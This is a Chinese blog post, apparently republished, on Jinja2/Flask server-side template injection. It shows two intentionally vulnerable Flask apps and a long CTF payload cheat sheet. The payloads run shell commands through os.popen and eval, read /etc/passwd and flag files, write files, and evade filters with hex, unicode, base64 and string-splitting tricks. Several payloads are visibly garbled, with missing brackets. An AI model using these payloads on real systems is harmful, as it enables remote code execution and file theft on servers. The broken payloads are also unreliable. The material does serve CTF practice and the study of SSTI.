SSTI(模板注入)

news/2024/11/20 21:26:12/文章来源:https://www.cnblogs.com/abigmalon/p/18559349

SSTI:

  • SSTI(Server-Side Template Injection)即服务端模板注入,它是一种安全漏洞攻击技术。
  • 当应用程序在服务器端使用模板引擎来呈现动态生成的内容时,如果用户可以控制模板引擎的输入,就可能导致 SSTI 漏洞。
  • 服务端接收攻击者的恶意输入以后,未经任何处理就将其作为 Web应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了攻击者插入的可以破坏模板的语句,从而达到攻击者的目的。

常见的模版

  • PHP:Twig、Smarty 、Blade
  • Python:Jinja2、Tornado、Django、MaKo
  • Java:FreeMarker、Velocity

不同模板的变量包裹符
image

常用魔术方法

  • __class__
print(''__class__)    
输出''的类:    <class 'str'>  
  • __bases__

用来查看类的基类,也可以使用数组索引来查看特定位置的值。 通过该属性可以查看该类的所有直接父类,该属性返回所有直接父类组成的元组(虽然只有一个元素)

print(''.__class__.__bases__)
print(''.__class__.__bases__[0])
输出:    <class 'object'>
输出''的类和其父类,返回值为元组,可以使用[]调用其子类
  • __mro__

可以用来获取一个类(多层父子关系)的调用顺序(即这个类的父类、父类的父类、、、)

print(''.__class__.__mro__)
输出:    (<class 'str'>, <class 'object'>)
输出''类即父类,可以使用[]调用
  • __subclass__

用于获取某个类的所有子类(一层父子关系),并用元组输出

  • __init__

查看是否重载(重载指程序在运行是就已经加载好了这个模块到内存中,如果出现wrapper字眼,说明没有重载)

  • __globals__

该方法会以字典的形式返回当前位置的所有全局变量,与 func_globals 等价。该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用globals属性访问全局的变量。该属性保存的是函数全局变量的字典引用

  • __builtins__

提供对python中所有内置标识符的直接访问


案例说明(python模板jinja2)
render_template_string和render_template函数是jinja2中常用的渲染函数。
render_template用于渲染模板文件,而render_template_string用于直接渲染模板字符串。

案例一

from flask import Flask    # Jinja2是Flask框架的一部分,Jinja2会把模板参数提供的相应的值替换成 {{…}} 块
from flask import request
from flask import config
from flask import render_template_string		#导入flask中的渲染函数
app = Flask(__name__)						#实例化app.config['SECRET_KEY'] = "flag{SSTI_123456}"
@app.route('/')            	#使用装饰器定义路由规则,当访问目录/时将调用函数hello_world()
def hello_world():return 'Hello World!'@app.errorhandler(404)        #404路由
def page_not_found(e):template = '''            #定义一个多行字符串,常用的多行注释并不是标准用法{%% block body %%}<div class="center-content error">    # 这里是报错页面所显示的内容<h1>Oops! That page doesn't exist.</h1><h3>%s</h3>    		#参数request.args.get('404_url')位置</div>{%% endblock %%}
''' % (request.args.get('404_url'))			#注意这里存在漏洞点return render_template_string(template), 404if __name__ == '__main__':app.run(host='0.0.0.0',debug=True)

案例二

from flask import Flask
from flask import render_template_string,render_template		#导入render_template_string和render_template函数。
app = Flask(__name__)@app.route('/hello/')			#定义了一个路由规则,当用户访问/hello/这个URL时,会调用下面定义的hello视图函数。
def hello(name=None):return render_template('hello.html',name=name)
@app.route('/hello/<name>')			定义了另一个路由规则,其中<name>是一个动态部分,可以匹配任何字符串。当用户访问如/hello/123这样的URL时,会调用下面定义的hellodear视图函数。
def hellodear(name):if "ge" in name:return render_template_string('hello %s' % name)elif "f" not in name:return render_template_string('hello %s' % name)else:return 'Nonononon'

[SSTI自动化工具]Fenjing
Fenjing专为CTF设计的Jinja2 SSTI全自动绕WAF脚本——项目地址:fenjing

ctf中常用的Payload(抄的别的博客的内容,如果工具不能直接梭可以参考参考)
参考文章:1

  • 无过滤
点击查看代码
\#简单查找具体python类的索引:
import os
print(''.__class__.__bases__[0].__subclasses__().index(os._wrap_close))\#读取config
如果flag写入config内,那么可以直接{{config}}查看或者{{self.dict._TemplateReference__context.config}}\#读取文件类,<type ‘file’> file位置一般为40,直接调用
{{[].__class__.__base__.__subclasses__()[40]('flag').read()}} 
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()}}
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines()}}
{{[].__class__.__base__.__subclasses__()[257]('flag').read()}} (python3)\#直接使用popen命令,python2是非法的,只限于python3
**os._wrap_close** 类里有popen和builtins,一般位置为132~139附近
<class ‘site._Printer’> 调用os的popen执行命令
<class ‘warnings.catch_warnings’>一般位置为59,可以用它来调用file、os、eval、commands等{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}\#调用os的popen执行命令\#python2、python3通用
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls /flag').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('cat /flag').read()}}
{{''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()}}\#python3专属
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['os'].popen('ls /').read()}}\#调用eval函数读取\#python2
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} 
{{"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')}}\#python3
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}} 
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']}}
{{"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}\#调用 importlib类
{{''.__class__.__base__.__subclasses__()[128]["load_module"]("os")["popen"]("ls /").read()}}\#调用linecache函数
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['linecache']['os'].popen('ls /').read()}}
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache']['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}}\#调用communicate()函数
{{''.__class__.__base__.__subclasses__()[128]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}\#写文件
写文件的话就直接把上面的构造里的read()换成write()即可,下面举例利用file类将数据写入文件。
{{"".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')}}  ----python2的str类型不直接从属于基类,所以payload中含有两个 .__bases__
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').write('123456')}}\#通用 getshell
原理:找到含有 __builtins__ 的类,利用即可。
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
  • 过滤[]

使用魔术方法__getitem__绕过
{{().__class__.__bases__[0]}}等价于{{().__class__.__bases__.__getitem__(0)}}

  • 过滤{

使用{%%}替换{}即可

  • 过滤符号 .

1、使用[]绕过

{{().__class__}}
可替换为:
{{()["__class__"]}}

举例:

{{()['__class__']['__base__']['__subclasses__']()[433]['__init__']['__globals__']['popen']('whoami')['read']()}}

2、使用attr()绕过
attr()函数是Python内置函数之一,用于获取对象的属性值或设置属性值。它可以用于任何具有属性的对象,例如类实例、模块、函数等。

{{().__class__}}
可替换为:
{{()|attr("__class__")}}

举例:

{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(65)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}
  • request方法绕过:
    如果对我们特定的参数进行了严格的过滤,我们就可以使用request来进行绕过,request可以获得请求的相关信息,我们拿过滤__class__,可以用request.args.key且以GET方式提交key=class__来替换被过滤的__class
request.args.key  #获取get传入的key的值
request.form.key  #获取post传入参数(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
reguest.values.key  #获取所有参数,如果get和post有同一个参数,post的参数会覆盖get
request.cookies.key  #获取cookies传入参数
request.headers.key  #获取请求头请求参数
request.data  #获取post传入参数(Content-Type:a/b)
request.json  #获取post传入json参数 (Content-Type: application/json)
  • 绕过单双引号
    1.request绕过
{{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__request.args.arg1.read()}}&arg1=open&arg2=/etc/passwd
#分析:
request.args 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤。
若args被过滤了,还可以使用values来接受GET或者POST参数。
其它例子:
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__request.cookies.arg1.read()}}
Cookie:arg1=open;arg2=/etc/passwd
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__request.values.arg1.read()}}
post:arg1=open&arg2=/etc/passwd

2.chr绕过

{% set chr=().__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.chr%}{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(chr(111)%2Bchr(115)).popen(chr(119)%2Bchr(104)%2Bchr(111)%2Bchr(97)%2Bchr(109)%2Bchr(105)).read()}}
注意:使用GET请求时,+号需要url编码,否则会被当作空格处理。
  • 绕过关键字
    1.使用切片将逆置的关键字顺序输出,进而达到绕过。
""["__cla""ss__"]
"".__getattribute__("__cla""ss__")
反转
""["__ssalc__"][::-1]
"".__getattribute__("__ssalc__"[::-1])

2.利用"+"进行字符串拼接,绕过关键字过滤。

{{()['__cla'+'ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']'ev'+'al'}}

3.join拼接
利用join()函数绕过关键字过滤

{{[].__class__.__base__.__subclasses__()40.read()}}

4.利用引号绕过

{{[].__class__.__base__.__subclasses__()40.read()}}

5.使用str原生函数replace替换
将额外的字符拼接进原本的关键字里面,然后利用replace函数将其替换为空。

{{().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__'popen'.read()}}

6.ascii转换
将每一个字符都转换为ascii值后再拼接在一起。

"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'

7.16进制编码绕过

"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"
例子:
{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']'\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f'.popen('whoami').read()}}

同理,也可使用八进制编码绕过

  • base64编码绕过

对于python2,可利用base64进行绕过,对于python3没有decode方法,不能使用该方法进行绕过。

"__class__"==("X19jbGFzc19f").decode("base64")
例子:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]'ZXZhbA=='.decode('base64')}}
等价于
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
  • unicode编码绕过
{%print((((lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("os"))|attr("\u0070\u006f\u0070\u0065\u006e")("\u0074\u0061\u0063\u0020\u002f\u0066\u002a"))|attr("\u0072\u0065\u0061\u0064")())%}
等同于lipsum.__globals__['os'].popen('tac /f*').read()
  • Hex编码绕过
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}}
等价于
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
  • 绕过init
    可以用__enter__或__exit__替代__init__
{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']'open'.read()}}
{{().__class__.__bases__[0].__subclasses__()[213].__exit__.__globals__['__builtins__']'open'.read()}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/837541.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

blktrace分析IO

前言 上篇博客介绍了iostat的一些输出,这篇介绍blktrace这个神器。上一节介绍iostat的时候,我们心心念念希望得到块设备处理io的service time,而不是service time + wait time,因为对于评估一个磁盘或者云磁盘而言,service time才是衡量磁盘性能的核心指标和直接指标。很不…

数据库 校验名称唯一性,用于新增和修改功能

数据库 校验名称唯一性,用于新增和修改功能@目录概述代码 概述应用场景:xml,注解方式的自己略微改造即可使用。 提示:存粹方便自己拷贝代码,用于新增和修改前校验名称唯一性问题。代码Service/*** 校验名称是否重名* @Author 211145187* @Date 2022/5/5 15:37* @param nam…

人工智能之机器学习最优化基础——凸优化

凸优化(Convex Optimization) 是优化问题的一个重要分支,其目标是最小化或最大化一个凸函数(或凹函数),通常受限于一组凸约束条件。由于凸优化问题具有良好的数学性质,许多优化问题可以转化为凸优化问题并高效求解。1. 什么是凸优化问题? 一个标准的凸优化问题可以表示…

可信执行环境(TEE)学习笔记

可信执行环境(TEE)学习笔记来越多的数据在云环境下进行存储、共享和计算,云环境下的数据安全与隐私保护也逐渐成为学术界以及工业界关注的热点问题。目前阶段,隐私保护技术主要基于密码算法及协议(如安全多方计算、同态加密等)完成场景落地,其优点主要在于具有较高的安全…

同步与互斥与通信

同步与互斥 同步:两任务要协调 互斥:两任务要争用 举一个例子。在团队活动里,同事A先写完报表,经理B才能拿去向领导汇报。经理B必须等同事A完成报表,AB之间有依赖,B必须放慢脚步,被称为同步。在团队活动中,同事A已经使用会议室了,经理B也想使用,即使经理B是领导,他也…

Windows 自动色彩管理(ACM)

在一些笔记本上Win11可以看到设置里有“自动管理应用的颜色”选项,有些笔记上没有。这里讲下“自动管理应用的颜色”的显示规则 看华为MetaBook E设置界面显示:“自动管理应用的颜色”与“颜色自适应”是一个功能? 不是,颜色自适应是要依赖环境颜色传感器来实现的,有环境颜…

闲话 11.20

杂题乱写 11.2010 days left. 不说闲话,捡重点说。P4113 [HEOI2012] 采花 hh 的项链加强版。 首先考虑莫队,轻松写,轻松 133pts,轻松过不了后两个 hack,考虑优化。 既然是加强版,那么就考虑沿用之前的思路。记录上次出现某个数的位置和上上次出现某个数的位置,离线之后将…

CTFshow渗透知识点

1.robot.txtRobots是一个协议,全称为“网络爬虫协议”,也称爬虫协议、机器人协议等。网站通过Robots协议告诉搜索引擎哪些页面可以访问,哪些不可以访问。 使用方法: 在浏览器的网址搜索框中,输入根域名,再输入/robots.txt即可 博客:Robots.txt在渗透测试中的利用_robots.…

Goby 漏洞发布|超高危!Palo-alto-panos createRemoteAppwebSession.php 命令执行漏洞CVE-2024-0012 CVE-2024-947

漏洞名称:Palo-alto-panos createRemoteAppwebSession.php 命令执行漏洞CVE-2024-0012 CVE-2024-947 English Name:Palo-alto-panos /php/utils/createRemoteAppwebSession.php Command Execution Vulnerability CVE-2024-0012 CVE-2024-9474 CVSS core: 9.5 漏洞描述: Palo…

一个.NET开源、快速、功能丰富的跨平台阅读服务器

前言 今天大姚给大家分享一个基于.NET开源的快速、功能丰富的跨平台阅读服务器,它的设计初衷是提供一个全面的解决方案,满足用户的所有阅读需求。用户可以设置自己的服务器,并与朋友和家人分享阅读收藏:Kavita。 支持格式书籍:epub, pdf。 漫画/网络漫画/漫画书:cbr, cbz…

人工智能之机器学习线代基础——矩阵分类

1. 按维度和大小方阵(Square Matrix):行数和列数相等的矩阵。列矩阵(Column Matrix):只有一列的矩阵。行矩阵(Row Matrix):只有一行的矩阵。零矩阵(Zero Matrix):所有元素均为 0。单位矩阵(Identity Matrix):对角线为 1,其他元素为 0 的方阵。对角矩阵(Diagon…

Linux 命令之 tar

目录1 tar 命令介绍2 压缩与解压缩2.1 压缩2.2 解压4 高级用法4.1 排除目录4.2 显示进度4.2.1 脚本解压缩4.2.2 命令解压缩4.2.3 压缩进度 1 tar 命令介绍常见的压缩包有 .tar.gz、.tar.xz、.tar.bz2,以及 .rar、.zip、.7z 等压缩包。常见的 tar 选项:- 1. 文件操作选项:-c,…